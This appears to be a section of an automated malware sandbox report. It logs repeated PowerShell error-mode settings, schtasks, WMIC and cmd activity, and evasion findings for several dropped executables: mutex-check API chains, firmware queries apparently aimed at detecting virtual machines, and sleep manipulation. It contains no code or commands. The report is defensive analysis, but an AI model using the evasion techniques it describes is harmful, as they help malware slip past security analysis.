                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\schtasks.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\cmd.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

                              Malware Analysis System Evasion

                              barindex
                              Found evasive API chain (may stop execution after checking mutex)
                              Source: C:\Users\user\Desktop\file.exeEvasive API call chain: CreateMutex,DecisionNodes,Sleepgraph_0-4291
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeEvasive API call chain: CreateMutex,DecisionNodes,Sleep
                              Source: C:\Windows\wsysrxvcs.exeEvasive API call chain: CreateMutex,DecisionNodes,Sleepgraph_1-4292
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeEvasive API call chain: CreateMutex,DecisionNodes,ExitProcess
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeEvasive API call chain: CreateMutex,DecisionNodes,Sleep
                              Source: C:\Windows\wsysrxvcs.exeEvasive API call chain: CreateMutex,DecisionNodes,ExitProcessgraph_1-4292
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeEvasive API call chain: CreateMutex,DecisionNodes,ExitProcess
                              Source: C:\Users\user\Desktop\file.exeEvasive API call chain: CreateMutex,DecisionNodes,ExitProcessgraph_0-4291
                              Query firmware table information (likely to detect VMs)
                              Source: C:\Windows\System32\cmd.exeSystem information queried: FirmwareTableInformation
                              Contains functionality to detect sleep reduction / modifications
                              Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0040B4300_2_0040B430
                              Source: C:\Windows\wsysrxvcs.exeCode function: 1_2_0040B4301_2_0040B430
                              Source: C:\Windows\wsysrxvcs.exeCode function: 2_2_0040B4302_2_0040B430
                              Source: C:\Windows\wsysrxvcs.exe TID: 5860Thread sleep time: -900000s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exe TID: 1332Thread sleep time: -241240s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exe TID: 2260Thread sleep count: 63 > 30Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exe TID: 2260Thread sleep time: -226800000s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exe TID: 2260Thread sleep time: -3600000s >= -30000sJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3584Thread sleep count: 9653 > 30Jump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2808Thread sleep time: -5534023222112862s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exe TID: 5532Thread sleep count: 48 > 30Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exe TID: 5532Thread sleep time: -172800000s >= -30000sJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exe TID: 5532Thread sleep time: -3600000s >= -30000sJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5548Thread sleep count: 6337 > 30
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6776Thread sleep time: -6456360425798339s >= -30000s
